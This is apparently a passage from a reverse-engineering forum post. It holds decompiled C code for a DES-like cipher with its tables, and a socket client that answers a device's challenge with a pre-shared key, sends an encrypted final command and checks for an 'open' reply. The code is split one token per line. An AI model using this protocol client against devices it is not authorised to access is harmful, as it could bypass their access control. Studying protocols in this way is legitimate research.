}
}
else
{
while
(curBlockNumber < blockCount) {
cipher_box((byte
*
)result,(byte
*
)data,state
+
0x1e0
,
1
);
cipher_box((byte
*
)result,(byte
*
)result,state
+
0x4e0
,
0
);
cipher_box((byte
*
)result,(byte
*
)result,state
+
0x1e0
,
1
);
curBlockNumber
=
curBlockNumber
+
1
;
result
=
(char
*
)((byte
*
)result
+
8
);
data
=
(char
*
)((byte
*
)data
+
8
);
}
}
return
0
;
}
return
-
1
;
}
int
encrypt(char
*
result,char
*
data,uint data_len,char
*
key,uint key_size)
{
uint uVar2;
int
currentBlockNumber;
int
blocksCount;
if
(((result !
=
(char
*
)
0x0
&& data !
=
(char
*
)
0x0
) &&
(currentBlockNumber
=
0
, key !
=
(char
*
)
0x0
)) && ((data_len
+
7
&
0xfffffff8
) !
=
0
)) {
prepare_key(key,key_size);
blocksCount
=
(
int
)(data_len
+
7
) >>
3
;
uVar2
=
*
(state
+
0x7e0
);
if
(
*
(state
+
0x7e0
)
=
=
0
) {
while
((
int
)uVar2 < blocksCount) {
cipher_box((byte
*
)result,(byte
*
)data,state
+
0x1e0
,
0
);
uVar2
=
uVar2
+
1
;
result
=
(char
*
)((byte
*
)result
+
8
);
data
=
(char
*
)((byte
*
)data
+
8
);
}
}
else
{
while
(currentBlockNumber < blocksCount) {
cipher_box((byte
*
)result,(byte
*
)data,state
+
0x1e0
,
0
);
cipher_box((byte
*
)result,(byte
*
)result,state
+
0x4e0
,
1
);
cipher_box((byte
*
)result,(byte
*
)result,state
+
0x1e0
,
0
);
currentBlockNumber
=
currentBlockNumber
+
1
;
result
=
(char
*
)((byte
*
)result
+
8
);
data
=
(char
*
)((byte
*
)data
+
8
);
}
}
return
0
;
}
return
-
1
;
}
void tohex(unsigned char
*
in
, size_t insz, char
*
out, size_t outsz)
{
unsigned char
*
pin
=
in
;
const char
*
hex
=
"0123456789ABCDEF"
;
char
*
pout
=
out;
for
(; pin <
in
+
insz; pout
+
=
3
, pin
+
+
){
pout[
0
]
=
hex
[(
*
pin>>
4
) &
0xF
];
pout[
1
]
=
hex
[
*
pin &
0xF
];
pout[
2
]
=
':'
;
if
(pout
+
3
-
out > outsz){
/
*
Better to truncate output string than overflow
buffer
*
/
/
*
it would be still better to either
return
a status
*
/
/
*
or
ensure the target
buffer
is
large enough
and
it never happen
*
/
break
;
}
}
pout[
-
1
]
=
0
;
}
char netbuf[
4096
];
ssize_t send_str(
int
sockfd, char
*
str
, size_t
len
) {
if
(
len
>
0xFE
) {
return
-
1
;
}
char buf[
len
+
1
];
buf[
0
]
=
len
+
1
;
memcpy(buf
+
1
,
str
,
len
);
return
send(sockfd, buf,
len
+
1
,
0
);
}
int
main(
int
argc, char
*
argv[]) {
int
sockfd, numbytes;
struct hostent
*
he;
struct sockaddr_in their_addr;
if
(argc !
=
3
) {
fprintf(stderr,
"Usage: %s <host> <PSK>\n"
, argv[
0
]);
return
2
;
}
if
((he
=
gethostbyname(argv[
1
]))
=
=
NULL) {
/
*
get the host info
*
/
herror(
"gethostbyname"
);
return
1
;
}
if
((sockfd
=
socket(AF_INET, SOCK_STREAM,
0
))
=
=
-
1
) {
perror(
"socket"
);
return
1
;
}
their_addr.sin_family
=
AF_INET;
/
*
host byte order
*
/
their_addr.sin_port
=
htons(PORT);
/
*
short, network byte order
*
/
their_addr.sin_addr
=
*
((struct in_addr
*
)he
-
>h_addr);
bzero(&(their_addr.sin_zero),
8
);
/
*
zero the rest of the struct
*
/
if
(connect(sockfd, (struct sockaddr
*
)&their_addr, \
sizeof(struct sockaddr))
=
=
-
1
) {
perror(
"connect"
);
return
1
;
}
if
(send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST))
=
=
-
1
) {
perror(
"send"
);
return
1
;
}
printf(
"Sent %s command.\n"
, CMD_FIRST);
bzero(netbuf, BUFSIZE);
if
((numbytes
=
recv(sockfd, netbuf, BUFSIZE
-
1
,
0
))
=
=
-
1
) {
perror(
"recv"
);
return
1
;
}
puts(netbuf);
if
(memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE)
-
1
) !
=
0
) {
fprintf(stderr,
"No challenge received.\n"
);
return
3
;
}
char
*
seed
=
netbuf
+
sizeof(CHALLENGE_PROLOGUE)
-
1
;
char challengeStr[strlen(seed)
+
strlen(argv[
2
])
+
1
];
size_t challengeLen
=
sprintf(challengeStr,
"%s%s"
, seed, argv[
2
]);
printf(
"challenge=%s\n"
, challengeStr);
char encryptedRandomSeed[PADDED(challengeLen)];
encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen);
memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE)
-
1
);
memcpy(netbuf
+
sizeof(CHALLENGE_PROLOGUE)
-
1
, encryptedRandomSeed, PADDED(challengeLen));
if
(send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE)
-
1
+
PADDED(challengeLen))
=
=
-
1
) {
perror(
"send"
);
return
1
;
}
bzero(netbuf, BUFSIZE);
if
((numbytes
=
recv(sockfd, netbuf, BUFSIZE
-
1
,
0
))
=
=
-
1
) {
perror(
"recv"
);
return
1
;
}
puts(netbuf);
if
(memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK)
-
1
) !
=
0
) {
fprintf(stderr,
"Verification failed.\n"
);
return
4
;
}
char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))];
encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen);
memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL)
-
1
);
memcpy(netbuf
+
sizeof(CMD_FINAL)
-
1
, encryptedFinal, sizeof(encryptedFinal));
if
(send_str(sockfd, netbuf, sizeof(CMD_FINAL)
-
1
+
sizeof(encryptedFinal))
=
=
-
1
) {
perror(
"send"
);
return
1
;
}
bzero(netbuf, BUFSIZE);
if
((numbytes
=
recv(sockfd, netbuf, BUFSIZE
-
1
,
0
))
=
=
-
1
) {
perror(
"recv"
);
return
1
;
}
puts(netbuf);
if
(memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK)
-
1
)) {
fprintf(stderr,
"Open failed.\n"
);
return
5
;
}
return
0
;
}
typedef unsigned char byte;
typedef unsigned
int
uint;
byte state[
2048
]
=
{
0
};
byte datum[]
=
{
0x20
,
0x01
,
0x02
,
0x03
,
0x04
,
0x05
,
0x04
,
0x05
,
0x06
,
0x07
,
0x08
,
0x09
,
0x08
,
0x09
,
0x0a
,
0x0b
,
0x0c
,
0x0d
,
0x0c
,
0x0d
,
0x0e
,
0x0f
,
0x10
,
0x11
,
0x10
,
0x11
,
0x12
,
0x13
,
0x14
,
0x15
,
0x14
,
0x15
,
0x16
,
0x17
,
0x18
,
0x19
,
0x18
,
0x19
,
0x1a
,
0x1b
,
0x1c
,
0x1d
,
0x1c
,
0x1d
,
0x1e
,
0x1f
,
0x20
,
0x01
,
0x0e
,
0x04
,
0x0d
,
0x01
,
0x02
,
0x0f
,
0x0b
,
0x08
,
0x03
,
0x0a
,
0x06
,
0x0c
,
0x05
,
0x09
,
0x00
,
0x07
,
0x00
,
0x0f
,
0x07
,
0x04
,
0x0e
,
0x02
,
0x0d
,
0x01
,
0x0a
,
0x06
,
0x0c
,
0x0b
,
0x09
,
0x05
,
0x03
,
0x08
,
0x04
,
0x01
,
0x0e
,
0x08
,
0x0d
,
0x06
,
0x02
,
0x0b
,
0x0f
,
0x0c
,
0x09
,
0x07
,
0x03
,
0x0a
,
0x05
,
0x00
,
0x0f
,
0x0c
,
0x08
,
0x02
,
0x04
,
0x09
,
0x01
,
0x07
,
0x05
,
0x0b
,
0x03
,
0x0e
,
0x0a
,
0x00
,
0x06
,
0x0d
,
0x0f
,
0x01
,
0x08
,
0x0e
,
0x06
,
0x0b
,
0x03
,
0x04
,
0x09
,
0x07
,
0x02
,
0x0d
,
0x0c
,
0x00
,
0x05
,
0x0a
,
0x03
,
0x0d
,
0x04
,
0x07
,
0x0f
,
0x02
,
0x08
,
0x0e
,
0x0c
,
0x00
,
0x01
,
0x0a
,
0x06
,
0x09
,
0x0b
,
0x05
,
0x00
,
0x0e
,
0x07
,
0x0b
,
0x0a
,
0x04
,
0x0d
,
0x01
,
0x05
,
0x08
,
0x0c
,
0x06
,
0x09
,
0x03
,
0x02
,
0x0f
,
0x0d
,
0x08
,
0x0a
,
0x01
,
0x03
,
0x0f
,
0x04
,
0x02
,
0x0b
,
0x06
,
0x07
,
0x0c
,
0x00
,
0x05
,
0x0e
,
0x09
,
0x0a
,
0x00
,
0x09
,
0x0e
,
0x06
,
0x03
,
0x0f
,
0x05
,
0x01
,
0x0d
,
0x0c
,
0x07
,
0x0b
,
0x04
,
0x02
,
0x08
,
0x0d
,
0x07
,
0x00
,
0x09
,
0x03
,
0x04
,
0x06
,
0x0a
,
0x02
,
0x08
,
0x05
,
0x0e
,
0x0c
,
0x0b
,
0x0f
,
0x01
,
0x0d
,
0x06
,
0x04
,
0x09
,
0x08
,
0x0f
,
0x03
,
0x00
,
0x0b
,
0x01
,
0x02
,
0x0c
,
0x05
,
0x0a
,
0x0e
,
0x07
,
0x01
,
0x0a
,
0x0d
,
0x00
,
0x06
,
0x09
,
0x08
,
0x07
,
0x04
,
0x0f
,
0x0e
,
0x03
,
0x0b
,
0x05
,
0x02
,
0x0c
,
0x07
,
0x0d
,
0x0e
,
0x03
,
0x00
,
0x06
,
0x09
,
0x0a
,
0x01
,
0x02
,
0x08
,
0x05
,
0x0b
,
0x0c
,
0x04
,
0x0f
,
0x0d
,
0x08
,
0x0b
,
0x05
,
0x06
,
0x0f
,
0x00
,
0x03
,
0x04
,
0x07
,
0x02
,
0x0c
,
0x01
,
0x0a
,
0x0e
,
0x09
,
0x0a
,
0x06
,
0x09
,
0x00
,
0x0c
,
0x0b
,
0x07
,
0x0d
,
0x0f
,
0x01
,
0x03
,
0x0e
,
0x05
,
0x02
,
0x08
,
0x04
,
0x03
,
0x0f
,
0x00
,
0x06
,
0x0a
,
0x01
,
0x0d
,
0x08
,
0x09
,
0x04
,
0x05
,
0x0b
,
0x0c
,
0x07
,
0x02
,
0x0e
,
0x02
,
0x0c
,
0x04
,
0x01
,
0x07
,
0x0a
,
0x0b
,
0x06
,
0x08
,
0x05
,
0x03
,
0x0f
,
0x0d
,
0x00
,
0x0e
,
0x09
,
0x0e
,
0x0b
,
0x02
,
0x0c
,
0x04
,
0x07
,
0x0d
,
0x01
,
0x05
,
0x00
,
0x0f
,
0x0a
,
0x03
,
0x09
,
0x08
,
0x06
,
0x04
,
0x02
,
0x01
,
0x0b
,
0x0a
,
0x0d
,
0x07
,
0x08
,
0x0f
,
0x09
,
0x0c
,
0x05
,
0x06
,
0x03
,
0x00
,
0x0e
,
0x0b
,
0x08
,
0x0c
,
0x07
,
0x01
,
0x0e
,
0x02
,
0x0d
,
0x06
,
0x0f
,
0x00
,
0x09
,
0x0a
,
0x04
,
0x05
,
0x03
,
0x0c
,
0x01
,
0x0a
,
0x0f
,
0x09
,
0x02
,
0x06
,
0x08
,
0x00
,
0x0d
,
0x03
,
0x04
,
0x0e
,
0x07
,
0x05
,
0x0b
,
0x0a
,
0x0f
,
0x04
,
0x02
,
0x07
,
0x0c
,
0x09
,
0x05
,
0x06
,
0x01
,
0x0d
,
0x0e
,
0x00
,
0x0b
,
0x03
,
0x08
,
0x09
,
0x0e
,
0x0f
,
0x05
,
0x02
,
0x08
,
0x0c
,
0x03
,
0x07
,
0x00
,
0x04
,
0x0a
,
0x01
,
0x0d
,
0x0b
,
0x06
,
0x04
,
0x03
,
0x02
,
0x0c
,
0x09
,
0x05
,
0x0f
,
0x0a
,
0x0b
,
0x0e
,
0x01
,
0x07
,
0x06
,
0x00
,
0x08
,
0x0d
,
0x04
,
0x0b
,
0x02
,
0x0e
,
0x0f
,
0x00
,
0x08
,
0x0d
,
0x03
,
0x0c
,
0x09
,
0x07
,
0x05
,
0x0a
,
0x06
,
0x01
,
0x0d
,
0x00
,
0x0b
,
0x07
,
0x04
,
0x09
,
0x01
,
0x0a
,
0x0e
,
0x03
,
0x05
,
0x0c
,
0x02
,
0x0f
,
0x08
,
0x06
,
0x01
,
0x04
,
0x0b
,
0x0d
,
0x0c
,
0x03
,
0x07
,
0x0e
,
0x0a
,
0x0f
,
0x06
,
0x08
,
0x00
,
0x05
,
0x09
,
0x02
,
0x06
,
0x0b
,
0x0d
,
0x08
,
0x01
,
0x04
,
0x0a
,
0x07
,
0x09
,
0x05
,
0x00
,
0x0f
,
0x0e
,
0x02
,
0x03
,
0x0c
,
0x0d
,
0x02
,
0x08
,
0x04
,
0x06
,
0x0f
,
0x0b
,
0x01
,
0x0a
,
0x09
,
0x03
,
0x0e
,
0x05
,
0x00
,
0x0c
,
0x07
,
0x01
,
0x0f
,
0x0d
,
0x08
,
0x0a
,
0x03
,
0x07
,
0x04
,
0x0c
,
0x05
,
0x06
,
0x0b
,
0x00
,
0x0e
,
0x09
,
0x02
,
0x07
,
0x0b
,
0x04
,
0x01
,
0x09
,
0x0c
,
0x0e
,
0x02
,
0x00
,
0x06
,
0x0a
,
0x0d
,
0x0f
,
0x03
,
0x05
,
0x08
,
0x02
,
0x01
,
0x0e
,
0x07
,
0x04
,
0x0a
,
0x08
,
0x0d
,
0x0f
,
0x0c
,
0x09
,
0x00
,
0x03
,
0x05
,
0x06
,
0x0b
,
0x10
,
0x07
,
0x14
,
0x15
,
0x1d
,
0x0c
,
0x1c
,
0x11
,
0x01
,
0x0f
,
0x17
,
0x1a
,
0x05
,
0x12
,
0x1f
,
0x0a
,
0x02
,
0x08
,
0x18
,
0x0e
,
0x20
,
0x1b
,
0x03
,
0x09
,
0x13
,
0x0d
,
0x1e
,
0x06
,
0x16
,
0x0b
,
0x04
,
0x19
,
0x3a
,
0x32
,
0x2a
,
0x22
,
0x1a
,
0x12
,
0x0a
,
0x02
,
0x3c
,
0x34
,
0x2c
,
0x24
,
0x1c
,
0x14
,
0x0c
,
0x04
,
0x3e
,
0x36
,
0x2e
,
0x26
,
0x1e
,
0x16
,
0x0e
,
0x06
,
0x40
,
0x38
,
0x30
,
0x28
,
0x20
,
0x18
,
0x10
,
0x08
,
0x39
,
0x31
,
0x29
,
0x21
,
0x19
,
0x11
,
0x09
,
0x01
,
0x3b
,
0x33
,
0x2b
,
0x23
,
0x1b
,
0x13
,
0x0b
,
0x03
,
0x3d
,
0x35
,
0x2d
,
0x25
,
0x1d
,
0x15
,
0x0d
,
0x05
,
0x3f
,
0x37
,
0x2f
,
0x27
,
0x1f
,
0x17
,
0x0f
,
0x07
,
0xf4
,
0x63
,
0x01
,
0x00
,
0x28
,
0x08
,
0x30
,
0x10
,
0x38
,
0x18
,
0x40
,
0x20
,
0x27
,
0x07
,
0x2f
,
0x0f
,
0x37
,
0x17
,
0x3f
,
0x1f
,
0x26
,
0x06
,
0x2e
,
0x0e
,
0x36
,
0x16
,
0x3e
,
0x1e
,
0x25
,
0x05
,
0x2d
,
0x0d
,
0x35
,
0x15
,
0x3d
,
0x1d
,
0x24
,
0x04
,
0x2c
,
0x0c
,
0x34
,
0x14
,
0x3c
,
0x1c
,
0x23
,
0x03
,
0x2b
,
0x0b
,
0x33
,
0x13
,
0x3b
,
0x1b
,
0x22
,
0x02
,
0x2a
,
0x0a
,
0x32
,
0x12
,
0x3a
,
0x1a
,
0x21
,
0x01
,
0x29
,
0x09
,
0x31
,
0x11
,
0x39
,
0x19
,
0x39
,
0x31
,
0x29
,
0x21
,
0x19
,
0x11
,
0x09
,
0x01
,
0x3a
,
0x32
,
0x2a
,
0x22
,
0x1a
,
0x12
,
0x0a
,
0x02
,
0x3b
,
0x33
,
0x2b
,
0x23
,
0x1b
,
0x13
,
0x0b
,
0x03
,
0x3c
,
0x34
,
0x2c
,
0x24
,
0x3f
,
0x37
,
0x2f
,
0x27
,
0x1f
,
0x17
,
0x0f
,
0x07
,
0x3e
,
0x36
,
0x2e
,
0x26
,
0x1e
,
0x16
,
0x0e
,
0x06
,
0x3d
,
0x35
,
0x2d
,
0x25
,
0x1d
,
0x15
,
0x0d
,
0x05
,
0x1c
,
0x14
,
0x0c
,
0x04
,
0x50
,
0x64
,
0x01
,
0x00
,
0x01
,
0x01
,
0x02
,
0x02
,
0x02
,
0x02
,
0x02
,
0x02
,
0x01
,
0x02
,
0x02
,
0x02
,
0x02
,
0x02
,
0x02
,
0x01
,
0x0e
,
0x11
,
0x0b
,
0x18
,
0x01
,
0x05
,
0x03
,
0x1c
,
0x0f
,
0x06
,
0x15
,
0x0a
,
0x17
,
0x13
,
0x0c
,
0x04
,
0x1a
,
0x08
,
0x10
,
0x07
,
0x1b
,
0x14
,
0x0d
,
0x02
,
0x29
,
0x34
,
0x1f
,
0x25
,
0x2f
,
0x37
,
0x1e
,
0x28
,
0x33
,
0x2d
,
0x21
,
0x30
,
0x2c
,
0x31
,
0x27
,
0x38
,
0x22
,
0x35
,
0x2e
,
0x2a
,
0x32
,
0x24
,
0x1d
,
0x20
};
void init_cipher_offset_vector(byte
*
dst,byte
*
src,
int
size)
{
int
i;
i
=
0
;
while
(i < size) {
dst[i]
=
(byte)((
int
)(uint)src[i >>
3
] >> (i &
7U
)) &
1
;
i
=
i
+
1
;
}
return
;
}
void apply_cipher_offset_vector(byte
*
dst,byte
*
src,byte
*
offset_vector,size_t size)
{
int
i;
i
=
0
;
while
(i < (
int
)size) {
state[i]
=
src[(uint)offset_vector[i]
-
1
];
i
=
i
+
1
;
}
memcpy(dst,state,size);
return
;
}
void cipher_memcpy_shuffle(void
*
dst,size_t size)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-8-8 09:40
被愿风载尘编辑
,原因: 上传附件并且添加代码